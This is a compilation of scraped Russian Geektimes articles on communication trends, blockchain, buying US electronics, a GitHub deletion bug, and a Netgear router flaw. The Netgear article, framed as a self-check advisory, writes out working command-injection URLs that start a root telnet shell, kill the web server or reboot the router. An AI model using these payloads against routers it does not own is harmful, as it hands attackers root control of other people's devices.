Согласно данным Cisco, к началу 2017 года по всему миру будет передано 1,1 зеттабайта (1021) данных. К 2020 году в мире будет 5,5 миллиардов абонентов мобильной связи, а объем одного только...
Согласно данным Cisco, к началу 2017 года по всему миру будет передано 1,1 зеттабайта (10 21 ) данных. К 2020 году в мире будет 5,5 миллиардов абонентов мобильной связи, а объем одного только мобильного трафика данных составит 366,8 эксабайт (10 18 ). Еще 38,1 эксабайт добавят открытые Wi-Fi точки доступа. Трафик не всегда растет по «естественным» причинам. Перед введением закона Яровой операторы посчитали , что за три года объем хранимой информации о телефонных разговорах достигнет значения 1,35 эксабайт и 156 эксабайт информации об интернет-трафике. В Cisco Systems рассчитали, что с 2014 по 2020 год количество подключенных к интернету вещей в мире вырастет с 12,1 млрд до 50 млрд. К слову, такой бурный рост интернета вещей вызывает давно известную проблему: к концу 2016 года переход на IPv6 во всем мире составил чуть менее 20%. Все данные нужно где-то хранить, но подлинные сложности начинаются, когда речь заходит о передаче информации. Существующие сейчас технологии связи не позволяют адекватно передавать «на лету» big data между большим количеством источников. Очевидно, что нужны стандарты и технологии, решающие ключевые проблемы связи. Каналы очень больших данных Источник Предсказывать будущее трудно и рискованно, особенно в IT-индустрии, из-за экспоненциальных изменений в технологиях. Однако сейчас среди технологических лидеров наблюдается согласие в понимании основных трендов компьютеризации на 5–7 лет вперед. Мы понимаем, что связь становится бесшовной и повсеместной, а переход данных от одного устройства к другому — незаметным и непрерывным. Связь будущего будет работать «поверх» любой физической сети, вне зависимости от ее устройства или местоположения. По мере роста трафика (и числа связей между обменивающимися данными устройствами), возрастает необходимость оптимизировать существующие каналы связи и прокладывать новые. В 2016 году консорциум из 6 компаний проложил по дну Тихого океана кабель на 60 Тбит/с (для сравнения в 2015 году пропускная способность всех международных каналов связи составляла 180 Тбит/сек ). Кабель рассчитан на 25 лет и будет модернизироваться в течение всего срока эксплуатации. А в 2017 году планируется провести трансатлантический кабель MAREA — его пропускная способность составит уже 160 Тбит/сек. С учетом новостей о рекордах по скорости передачи информации по оптоволокну, магистральные кабели с большой пропускной способностью становятся невероятно актуальными. Еще в 2009 году посредством мультиплексирования 155 каналов по 100 Гбит/с удалось передать сигнал со скоростью 15,5 Тбит/с на расстояние 7000 километров, однако технология оказалась сложна в практической реализации. Недавно Nokia Bell Labs и Alcatel-Lucent Submarine Networks (это крупнейший в мире оператор подводных кабелей, который сейчас является частью Nokia) заявили , что им удалось достичь рекордной скорости 65 Тбит/сек по одномодовому оптоволокну длиной более 6600 км. Они использовали новую технологию модуляции Probabilistic Constellation Shaping (PCS), которая увеличивает дальность передачи данных, а также емкость каналов в уже существующих оптоволоконных сетях. PCS использует неоднородную передачу сигналов, уменьшая количество сигналов высокой мощности, что увеличивает стойкость к помехам и дает возможность лучшей динамической адаптации к изменяемым условиям передачи. Развитие магистральных каналов связи и новая технология Nokia в ближайшем будущем помогут справиться с основными проблемами нарастающих объемов трафика, но сейчас стараются использовать другие подходы, «в лоб». Amazon представила грузовик AWS Snowmobile для перевозки до 100 петабайт (10 15 ) данных, зашифрованных 256-битным ключом. Он способен передавать данные со скоростью в 1 Тбит/сек через кабель и высокоскоростной свитч. Преимущества грузовика очевидны: для передачи одного эксабайта данных в интернете уйдет более 26 лет при соединении на скорости 10 Гбит/сек — по одному из самых скоростных проводных подключений. Но даже если использовать канал данных на 100 Гбит/с, грузовики все равно справятся быстрее — эксабайт перекачают примерно за полгода. Распределенный и безопасный блокчейн Источник Если с Bitcoin еще непонятно, выживет ли валюта или умрет , не справившись с особенностями собственной архитектуры, то механизмы блокчейна, по всей вероятности, получат широкое распространение. Децентрализованные базы данных, криптографически гарантирующие неизменность внесенной в них информации, обеспечат управление бизнес-транзакциями в рамках цифровой экономики, но не только. Блокчейн обеспечивает прозрачность любой сделки между покупателем и продавцом, а также высокий уровень безопасности и возможность отслеживать статус доставки продукции в режиме реального времени. Идея блокчейна позволяет гарантировать бесперебойную работу в различных сферах жизни. В Украине запустили систему голосования, построенную на технологии блокчейна — E-vox — чтобы бороться с коррупцией в государственном секторе. На текущий момент система представляет собой прототип умного контракта в сети Ethereum. Платформа Bittunes позволяет музыкантам без лейблов продавать песни поклонникам. Mediachain использует блокчейн для построения глобальной базы авторских прав для фотографов, позволяя отслеживать перемещения изображений по интернету. Соцсеть Steemit по технологии блокчейна вознаграждает (криптовалютой) участников за генерацию контента. Существуют десятки других идей, как блокчейн может повысить скорость обмена ценной информацией (устраняя посредников), обеспечивая при этом надлежащий уровень безопасности, однако не все в мире можно решить с помощью блокчейн-проектов. Децентрализованный и зашифрованный Источник Когда речь заходит о реальной безопасности, не в последнюю очередь вспоминают о Tox. Tox — это протокол обмена информaцией, суть работы которого похожа на работу сервиса BitTorrent Sync. Протокол Tox позволяет обмениваться сообщениями, файлами, совершать аудио-видео звонки, и многое другое: для почтового сообщения используется Toxmail , для получения доступа к удаленному рабочему столу используется Toxscreen и так далее. В Tox нет выделенных серверов, есть полное end-to-end шифрование данных, весь исходный код открыт для изучения. Для шифрования используется криптографическая библиотека NaCl . Безопасность (вернее, сам способ пирингового обмена информацией) накладывает определенные ограничения на взаимодействие участников Tox: отсутствует синхронизация между различными устройствами и нет возможности нормально реализовать offline-сообщения. Очевидно, что следующий шаг в сторону подлинной безопасности — это создание альтернативных каналов связи. Tor, I2P, Freenet и другие известные способы сохранения видимой безопасности работают по тем же каналам связи, что предоставляют нам провайдеры, в то время как, например, mesh-сети могут быть вообще изолированы от интернета. Очевидно, что в будущем продолжится развитие протоколов, которые позволят пользователям обмениваться информацией в условиях блокировки или полного краха существующих систем. Источник Тема не новая, еще несколько лет назад компания Serval Project занялась разработкой средств, позволяющих использовать мобильные телефоны без подключения к сотовой сети. В общем, это можно делать и самостоятельно, с использованием Wi-Fi, но в компании предложили устройство Serval Mesh Extender, расширяющего диапазон действия открытых сетей до 10 км. В Serval Mesh используются те же телефонные номера, что и в обычных сотовых сетях, благодаря чему можно соединяться с помощью программы Serval Mesh с другими абонентами напрямую. При этом голосовая связь, сообщения и файлы передаются в зашифрованном виде. Для участия в mesh-сетях не нужно даже знания программирования. Такие устройства как Mesh Potato позволяют поднимать собственные ячеистые сети там, где традиционными методами сделать этого нельзя. Для строительства управляемых mesh-сетей используются различные протоколы: например, B.A.T.M.A.N. — расшифровывается как The Better Approach To Mobile Adhoc Networking. Новые квантовые протоколы Источник Технологии квантовых коммуникаций и квантовой криптографии, такие как квантовое распределение криптографических ключей, должны обеспечить тот уровень безопасности, который невозможности достичь в стандартных для индустрии алгоритмах шифрования. Когда стало известно о нескольких вариантах хакерских атак на защищенные линии, стали прорабатываться методы противодействия. Физики из MIT предложили способ, аналогичный по стойкости шифру Вернама (с точки зрения криптографии, невозможно придумать систему безопаснее шифра Вернама), в котором каждый новый ключ передается внутри основного сообщения с помощью пространственных модуляторов света (изменяя интенсивность светового пучка). Чтобы повысить количество бит, передаваемых в одном фотоне, и позволить нескольким клиентам одновременно и безопасно получать информацию, исследователи из Венского университета и Автономного университета Барселоны запутали три фотона (вместо использования стандартного метода парного запутывания). Этот тип асимметричной запутанности позволяет обмениваться данными с третьей стороной. Тройная запутанность позволяет переместить квантовую информацию от стандартного кубита в кудит (единица квантовой информации, способная хранить в одном разряде более двух значений: 3 — кутриты, 4 — куквадриты и т.д.), в котором передаваемая информация может быть увеличена за счет одновременного кодирования спиновых состояний и движения частицы в трех измерениях. Кудит-системы (многоуровневые квантовые системы) могут функционировать как комплекс обычных кубитов. Некоторые кудиты на базе атома позволяют проще реализовать квантовую телепортацию, ранее доступную только в трех двухуровневых системах кубитов. IoT и автомобильные протоколы Источник В то время как смартфоны, кажется, застряли в развитии, стандарты связи продолжают эволюционировать. Но если про 5G, iBeacon, mesh-сети уже многие знают (и о них множество статей на Хабре и Geektimes), то про LTE Direct от Qualcomm мало кто слышал ( одна статья на Хабре). Qualcomm предложила использовать LTE-модуль для прямой связи (без базовых станций) с другими устройствами (телефонами и датчиками) на расстояние до 500 метров. И mesh-сети строить никто не мешает. Для этого телефон отправляет пакет данных из 128 бит информации. Каждое устройство с поддержкой LTE Direct собирает данные от всех окружающих аналогичных устройств и пропускает их через фильтр, настроенный пользователем или мобильным приложением. Для работы системы необходимо, чтобы оператор связи выделил под нее 1–2% имеющегося у него частотного спектра LTE. LTE Direct превосходит по дальности (и экономии энергозаряда) NFC, Bluetooth и Wi-Fi и может работать там, где не работают (не существуют) эти сети. С марта по май 2016 года в Шанхае Qualcomm проводила одно из самых масштабных испытаний технологий. За 9 недель 400 участников осуществили 180 000 LTED взаимодействий между устройствами. Эксперименты продолжаются. И хотя реальных коммерческих решений пока нет, есть проект Cellular-V2X, построенный на LTE Direct — технология подключения транспортных средств друг к другу (V2V, Vehicle-to-Vehicle), с пешеходами (V2P), с инфраструктурой проезжей части (V2i), с сетью (V2N) и со всем вместе взятым (V2X). V2X — одна из ключевых технологий будущего, которая предоставит новые возможности для водителя: обеспечивает получение уведомлений о возможных опасностях и 360˚ обзор в условиях отсутствия прямой видимости, например, на слепых перекрестках; позволяет автомобилям ездить на минимальных расстояниях друг от друга, оптимизируя дорожный трафик; предоставляет возможность собирать данные о событиях дальнейшего дорожного трафика, когда движение останавливается или замедляется. Источник Подключенные автомобили станут частью интернета вещей, будут общаться с другими машинами, обмениваться данными, предупреждать водителей о возможных столкновениях. И, кроме того, они станут обмениваться информацией с вашим домом, офисом, смарт-устройствами, действуя в роли цифрового помощника, знающего весь ваш распорядок дня. Заключение Мы все еще находимся в пределах экспоненциального роста, в рамках которого прогнозы часто оказываются ошибочными. Но, как и во всяких показателях, растущих слишком быстро, рано или поздно станет появляться «стенка» геометрической прогрессии, когда начнут срабатывать факторы, замедляющие рост. Аналогию можно привести на примере скоростного транспорта: лошади, первые машины, поезда, самолеты. И вот вы уже замечаете, что не можете добраться в Амстердам быстрее, чем летит самолет. В области связи уже явно наметилась тенденция менять «поезд» на «самолет». Вопрос в том, будет ли что-то за пределами технологий, которые сейчас легко назвать перспективными?
https://geektimes.ru/company/mailru/blog/283618/
habrahabr
Команда через URL. Взлом маршрутизатора Netgear никогда не был таким простым
['Netgear', 'взлом', 'уязвимость', 'удаленное выполнение команды', 'CVE-2016-582384']
Маршрутизатор Netgear R8000 открыт для всех пользователей интернета Специалисты по безопасности рекомендуют владельцам WiFi-маршрутизаторов популярной линейки Netgear Nighthawk (восемь...
Маршрутизатор Netgear R8000 открыт для всех пользователей интернета Специалисты по безопасности рекомендуют владельцам WiFi-маршрутизаторов популярной линейки Netgear Nighthawk (восемь моделей, список под катом) временно отключить веб-сервер на маршрутизаторе до выхода официальной версии патча. Пока что Netgear в экстренном порядке выпустила бета-версию патча для некоторых из пострадавших моделей. Для остальных патча нет вообще. Новая уязвимость исключительно проста в эксплуатации и доступна для понимания даже школьникам. Эксплойт опубликован — есть подробная инструкция по взлому . Поэтому слишком высок риск стать жертвой атаки. Список уязвимых моделей Netgear AC1750-Smart WiFi Router (модель R6400) Netgear AC1900-Nighthawk Smart WiFi Router (модель R7000) Netgear AC2300-Nighthawk Smart WiFi Router with MU-MIMO (модель R7000P) Netgear AC2350-Nighthawk X4 AC 2350 Dual Band WiFi Router (модель R7500) Netgear AC2600-Nighthawk X4S Smart WiFi Gaming Router (модель R7800) Netgear AC3200-Nighthawk AC3200 Tri-Band WiFi Router (модель R8000) Netgear AC5300-AC5300 Nighthawk X8 Tri-Band WiFi Router (модель R8500) Netgear AD7200-Nighthawk X10 Smart WiFi Router (модель R9000) Удалённое выполнение команды Обнаруженная уязвимость допускает удалённое выполнение команды на маршрутизаторе, если пользователь откроет в браузере веб-страницу с вредоносного сайта или с нормального сайта, вместе с которой загрузится вредоносный рекламный баннер через AdSense или любую другую рекламную сеть. По локальной сети можно инициировать удалённое выполнение команды простым запросом к маршрутизатору. По сути, для удалённого выполнения команды Linux на маршрутизаторе достаточно всего лишь добавить эту команду к обычному URL. Команда выполняется с рутовыми привилегиями. Это означает, что можно сделать с маршрутизатором жертвы практически что угодно: открыть сессию telnet, FTP, использовать его для DDoS-атаки или что угодно ещё. Он полностью во власти злоумышленника. Проверка маршрутизатора на наличие уязвимости Для проверки конкретного маршрутизатора на наличие бага делаем следующее. 1. Открываем в браузере страницу http://192.168.1.1/cgi-bin/;telnetd$IFS-p$IFS’56789′ (здесь 192.168.1.1 следует заменить на локальный IP-адрес вашего маршрутизатора, если он отличается). В браузере будет белая или серая страница, в зависимости от браузера. 2. Открываем командную строку (под Windows это Win+R → cmd). 3. Набираем в командной строке следующую команду: telnet 192.168.1.1 56789 Опять же IP-адрес 192.168.1.1 заменяем на локальный IP-адрес вашего маршрутизатора. Если появится сообщение, что telnet «не является внутренней или внешней командой», то устанавливаем клиент telnet: «Панель управления» → «Программы и компоненты» → «Включение или отключение компонентов Windows» → «Клиент Telnet» (включенная галочка). 4. Если ваш маршрутизатор уязвим, то после выполнения вышеуказанной команды появится примерно такое сообщение. Если ваша модель маршрутизатора указана в списке уязвимых, то на последних версиях прошивки такое сообщение должно появляться. Возможно, более старые версии прошивки не подвержены багу, специалисты ещё не проверили все версии, а компания-производитель тоже не опубликовала полную информацию. 5. Чтобы для проверки убить сессию telnet, нужно узнать идентификатор процесса telnetd. Для начала пишем: ps | grep telnet Получим список процессов, в том числе telnetd (7302 на скриншоте). 6. Далее наберите стандартную Linux-команду: kill <process_id> где — идентификатор процесса, который мы узнали на предыдущем этапе. После нажатия клавиши Enter процесс будет убит. Точно так же можно убить любой другой процесс или отключить доступ к веб-интерфейсу ( http://192.168.1.1/cgi-bin/;killall$IFS’httpd’ ). По идее, если с помощью уязвимости вы отключите доступ к веб-интерфейсу, то админский интерфейс станет недоступным для других злоумышленников, которые попробуют воспользоватью этой уязвимостью, до перезагрузки маршрутизатора. Наверное, это приемлемый вариант в том случае, если нужно работать в интернете, но патч не установлен. Хотя удалённая перезагрузка маршрутизатора всё равно должна сработать: http://[RouterIP]/cgi-bin/;REBOOT В качестве ещё одной защитной меры можно посоветовать сменить стандартный локальный IP-адрес маршрутизатора . Медленная компания Netgear Уязвимость обнаружил в августе 2016 года Эндрю Роллинс (Andrew Rollins), специалист по безопасности, известный под ником Acew0rm . Он сообщил производителю об этом баге 25 августа , но компания так и не ответила на его письмо. Обождав положенные несколько месяцев, Эндрю выложил информацию об уязвимости в открытый доступ. В 2009 году точно такую уязвимость нашли в маршрутизаторах с прошивкой DD-WRT. История повторяется. Если ваш маршрутизатор уязвим, специалисты рекомендуют отключить веб-интерфейс или установить бета-версию патча , который выпущен для моделей R6400, R7000 и R8000. Сканирование через Shodan выдаёт почти 10 000 уязвимых маршрутизаторов. Так что кое-кто сейчас может хорошо развлечься.
https://geektimes.ru/post/283656/
habrahabr
Всем ли бизнесам нужен блокчейн
['Wirex', 'блокчейн', 'бизнес', 'финансы', 'технологии']
Технология блокчейн активно проникает во все новые сферы бизнеса: от сельского хозяйства до ювелирного дела. В нашем платежном сервисе Wirex технология распределенного реестра лежит в основе...
Технология блокчейн активно проникает во все новые сферы бизнеса: от сельского хозяйства до ювелирного дела. В нашем платежном сервисе Wirex технология распределенного реестра лежит в основе бизнес-модели. Но всем ли нужен блокчейн? Для каких бизнес-процессов технология будет максимально эффективна, а где она абсолютно бесполезна? Постараемся ответить на эти вопросы ниже. Ключевые принципы: открытость и децентрализация С развитием блокчейна и появлением все большего количества информации об этой технологии выделяются два ее ключевых принципа: открытость и децентрализация. Открытость блокчейна заключается в возможности для пользователей системы видеть всю историю операций в цепочке блоков, не имея прав для изменения данных уже свершившихся транзакций. Децентрализация блокчейна выражена в отсутствии единого субъекта, принимающего решения. Можно охарактеризовать блокчейн как распределенный реестр, функционирование которого обеспечивается группой участников, обладающих равными правами. Регулирующий и контролирующий орган представлен не узким числом администраторов, а всеми участниками сети в целом. Успешный опыт применения технологии блокчейн Функционал блокчейна может быть полезен организациям, бизнес-процессы которых основаны на созвучных технологии принципах открытости и равноправия. Именно поэтому перспективы блокчейна столь очевидны для финансового сектора. В частности, в банковской сфере блокчейн актуален для тех направлений, где открытость и равноправие участников становится ключевым фактором (межбанковские, скоринговые системы). Даже закрытые квази-блокчейн системы, разрабатываемые в настоящее время многими банками, — заметный шаг вперед. Существующая с 1973 года система межбанковских операций SWIFT уже признала перспективы технологии блокчейн. В опубликованном в апреле этого года 20-страничном отчете SWIFT содержится информация о намерениях создать блокчейн-платформу, ориентированную на разработку финансовых приложений. В документе рассматривается возможность использования технологии распределенного реестра для соблюдения принципа KYC (Know Your Customer или знай своего клиента). В начале октября в России состоялось тестирование мастерчейна — блокчейн-инфраструктуры Центробанка. В пилотном запуске приняли участие Сбербанк, Альфа-Банк, банк «Открытие», Тинькофф Банк и международный платежный сервис QIWI. Мастерчейн разработан на основе блокчейна Ethereum. Благодаря этому решению участники российского финансового рынка смогут оперативно обмениваться данными и производить сверку информации о своих клиентах. Открытость технологии блокчейн позволяет в данном случае также повысить степень доверия при взаиморасчетах между банками-контрагентами. Преимущества блокчейна в области клиринговых операций (безналичных расчетов) отражены и в отчете Международного Экономического Форума за этот год. В документе говорится о пользе блокчейна для автоматизации клиринговых операций и снижения рисков для их участников. Как показывает международный опыт, возможности блокчейна подходят и другим сферам бизнеса за пределами финансового сектора. Стартап Agriledger продемонстрировал это в сфере сельского хозяйства. Проект предназначен для учета урожая, собранного фермерскими кооперативами. На сайте стартапа есть ссылка на статистику ООН, согласно которой до 50% собранного урожая не доходит до пунктов реализации. Бумажные записи, устные обещания и сложные договоры создают запутанную и непрозрачную систему финансовых взаимоотношений между фермерами и точками продаж. В этой ситуации существенная доля собранного урожая теряется по дороге к пунктам реализации из-за недобросовестных посредников. Решение Agriledger предоставляет прозрачную систему учета урожая, исключающую риск коррупции и фальсификации. Технология блокчейн-проекта Everledger позволяет учитывать бриллианты. Более 40 характеристик каждого драгоценного камня пользователи сервиса могут перевести в цифровой формат и зафиксировать в блокчейне. Такой многоуровневый учет позволяет создать криптографическое подтверждение подлинности для каждого драгоценного камня. Главные клиенты Everledger: страховые компании и поставщики драгоценных камней. Сферы, в которых блокчейн бесполезен Далеко не во всех сферах бизнеса применение технологии целесообразно. Не имеет смысла использовать блокчейн просто как базу данных, так как он пока неэффективен в этом качестве. Критерий применимости технологии в бизнес-процессах — явный и очевидный профит от ее использования. Многие существующие блокчейн-проекты не получат развития, так как они не решают никаких насущных бизнес-задач. Но в процессе реализации блокчейн-проектов будут выделены сферы, в которых технология действительно необходима, и они получат серьезное развитие. Гидеон Гринспен, основатель и CEO Coin Sciences, компании-разработчика открытой платформы для блокчейн-приложений MultiСhain, опубликовал этой весной материал , в котором рассказал, как можно определить целесообразность использования блокчейна в том или ином проекте. Гринспен выделил ряд признаков, при наличии которых блокчейн может быть полезнее других решений. Вот перечень наиболее важных: Использование в бизнес-процессах базы данных общего пользования, Наличие нескольких субъектов, вносящих изменения в базу данных, Существующее по умолчанию недоверие между субъектами, которые имеют право модифицировать базу данных и стремятся проверить друг друга, Реальная необходимость отсутствия посредников, которые могут поддерживать базу данных и участвовать в операциях, Взаимозависимость операций пользователей, создание цепочек транзакций, Наличие в рамках проекта установленных правил проведения операций на блокчейне, Обеспеченность и понятный принцип использования активов, размещенных на блокчейне. Если отсутствует хотя бы один из первых пяти признаков, то, по мнению Гринспена, необходимости в блокчейне нет. В этом случает проекту вполне подойдет традиционное решение вроде стандартного файлового хранилища или проверенных рабочих баз данных, например, от Oracle, SQL Server, MySQL или Postgres. Будущее блокчейна в бизнесе Блокчейн-технология еще довольно молода. Большинство из вышеупомянутых кейсов либо находятся на ранней стадии своего развития, либо представлены в виде инициатив и планов на перспективу. Для того, чтобы блокчейн пришелся ко двору, менеджмент проекта должен быть на 100% уверен в необходимости именно этой технологии и четко понимать выгоды от ее использования. Несмотря на тренд глобального развития блокчейн-технологий, эффективность и действительная потребность рынка в них будет проверена временем. Велика вероятность, что в процессе попыток внедрения блокчейна в разных отраслях бизнеса выделяется ряд областей, в которых эта технология действительно необходима и сможет выйти на новый уровень в своем развитии. Открытые системы (в духе Биткойн) будут сосуществовать с закрытыми блокчейн-системами, но реальная инновация может происходить только в рамках открытых систем. Будущее блокчейн-технологий за ними.
https://geektimes.ru/company/wirex/blog/281126/
habrahabr
Как экономить на покупках электроники в США
['pochtoy.com', 'доставка из сша', 'гаджеты']
Конечно, если ставить на одну чашу весов новый ноутбук в российском магазине, и ноутбук китайского производства на одной из интернет-площадок – разница в цене очевидна. Но есть возможности для...
Конечно, если ставить на одну чашу весов новый ноутбук в российском магазине, и ноутбук китайского производства на одной из интернет-площадок – разница в цене очевидна. Но есть возможности для приобретения брендовой электроники по значительно более низким ценам. Refurbished Наилучшим способом приобретения электроники в США являются «восстановленные» устройства. Они бывают двух категорий – или побывавшие на заводах производителя, либо восстановленные продавцом. Приобретение вторых сопряжено с определенными рисками, и его стоит рассматривать только при исключительно хороших отзывах о продавце. Многие компании именно этим и занимаются – скупают технику, восстанавливают и продают. Так или иначе, все они дают гарантию, и приобретаемый товар попадает под защиту покупателя (если, конечно, в цепочке купли-продажи участвует PayPal, eBay или Amazon). Таким образом, риски минимизируются. Официально восстановленная техника предлагается с полным оформлением необходимых документов, и часто является практически новой. Рисков в приобретении такой электроники вовсе никаких. Общая скидка на восстановленные устройства может достигать 30% Openbox-товары Это – пожалуй самые выгодные лоты в любом интернет-магазине. О них мы писали не так давно, поэтому не имеет смысла расписывать слишком много: купил, открыл коробку, не понравилось – вернул в магазин. В результате по американским правилам и традиции, устройство дешевеет процентов на 40. А если оно было куплено по акции – и того больше. Техника, бывшая в употреблении Тащить б/у из-за границы – удовольствие не самое приятное. Но все зависит от продавца, выгоды и площадки, на которой приобретается устройство. Стоимость по сравнению со стартовой снижается почти вполовину, и хотя такой вариант значительно хуже предыдущих – не стоит сбрасывать его со счетов. И вот почему. Гарантийные обязательства Большая часть электроники ломается или в первые 7 дней, или сразу после гарантийного срока. За 7 дней можно выявить большу часть возможных (и уже описанных) проблем. Почему описанных? Под распродажи в США редко попадают самые последние модели. Обычно это удел устройств с достаточно объемным сообществом владельцев. Это приводит к отличным результатам: все подробно изучено, проблемы или решены – или списаны в брак. И уже существуют алгоритмы проверки. Для PayPal и крупных ритейлеров вроде Amazon или Ebay подобная информация вполне считается основанием для возврата (особенно при наличии официальных ответов от производителя). На восстановленную официально технику распространяется заводская гарантия – в зависимости от производителя, от 3 месяцев до года. На технику, восстановленную продавцом, распространяется его гарантия с заранее установленным сроком. Openbox-техника продается с официальной гарантией производителя. Кстати, и на б/у устройства торговые площадки устанавливают небольшие сроки гарантии, позволяющие объемно проверить покупку. Как минимизировать риски в приобретении Во-первых, при покупке стоит обратить внимание на сроки гарантии. Они должны указываться на странице товара. Если продавец оговаривает, что на лот не устанавливается гарантия – стоит поискать что-то еще. Для восстановленных официально устройств можно воспользоваться международной гарантией в соответствии с установленными сроками. Покупать устройства, восстановленные продавцом, можно безбоязненно – если не планировать пользоваться гарантийным ремонтом. Базовой защиты онлайн-ритейлеров вроде возможности возврата устройства в течении 15-30 дней достаточно, чтобы выявить брак. В противном случае необходимо связаться с продавцом и оговорить возможности реализации гарантийных обязательств. Хуже с покупкой бывших в употреблении устройств. В данном случае необходимо платить только PayPal – это единственный способ вернуть деньги у недобросовестного продавца. Он позволяет протестировать устройство, но все процедуры, начиная с получения посылки, необходимо документировать на видео. В таком случае можно покупать все, на что распространяется защита покупателя (которая обозначается красивым логотипом на лотах). Основные правила онлайн-покупок Дорогие устройства желательно отправлять ускоренными способами доставки, например нашим «Почтой Express» — это позволяет успеть реализовать возможность простого возврата товара (прямой возврат без причины в течении 15 дней предлагает большинство американских интернет-магазинов). Сломанную пополам коробку не стоит забирать у почтовой службы ни под каким предлогом, сразу составляя протокол. Конечно, не стоит забывать о необходимости наличия документов в посылке – и, обязательно, гарантийного талона. В налоговой декларации так же стоит указывать официальную стоимость (сниженную – не за полную же покупали), и заранее заготовить скриншот оплаты. Весь процесс покупки так же необходимо документировать – сохранять скриншоты лота, оплаты. И, конечно, не очищать логи платежных систем и записи в личном кабинете ритейлеров. Тоже касается и отзывов – пока покупатель не кликнет на кнопке вроде «Товар получен, спасибо» — ритейлер и платежная система на стороне покупателя. Покупайте, пока можно: По традиции, при первом заказе — скидка $5 по промо-коду supergeek .
https://geektimes.ru/company/pochtoy/blog/282570/
habrahabr
Сегодня утром можно было удалить возможно любой репозиторий на GitHub
['github', 'git', 'решето', 'фейлы', 'криворукость']
Сегодня утром, 13 декабря 2016 года, пользователь GitHub XXXXX (никнейм скрыт по просьбе) решил удалить форк репозитория xash3d из организации FWGS, в которой не имеет прав на изменение настроек...
Сегодня утром, 13 декабря 2016 года, пользователь GitHub XXXXX (никнейм скрыт по просьбе) решил удалить форк репозитория xash3d из организации FWGS, в которой не имеет прав на изменение настроек репозиториев. В поле подтверждения он ввёл XXXXX/xash3d, чтобы удалить свой форк. После этого GitHub перенаправил его на страницу его форка, а главный репозиторий был бесследно удалён. После обращения в техподдержку репозиторий восстановили, но оказались сломанными все форки. Сам же репозиторий после восстановления показывается форкнутым из репозитория другого пользователя GitHub, который оказался первым форкнувшим пострадавший репозиторий. В техподдержке заявили, что это не в их силах сменить master-slave. Помимо этого, все релизы на репозитории теперь не работают, все «звёзды» сохранены, но в профилях пользователей не отображаются. После обращения ошибку оперативно исправили, поэтому попытки удалить torvalds/linux или Microsoft/dotnet не увенчаются успехом. Убедиться в проблемах репозитория в этом и самому . До тех пор, пока не исправят. Ошибка выдаваемая при попытке скачать файл Эта ветка отстаёт на 1314 коммитов и прочие радости со сломанным master-slave
https://geektimes.ru/post/283660/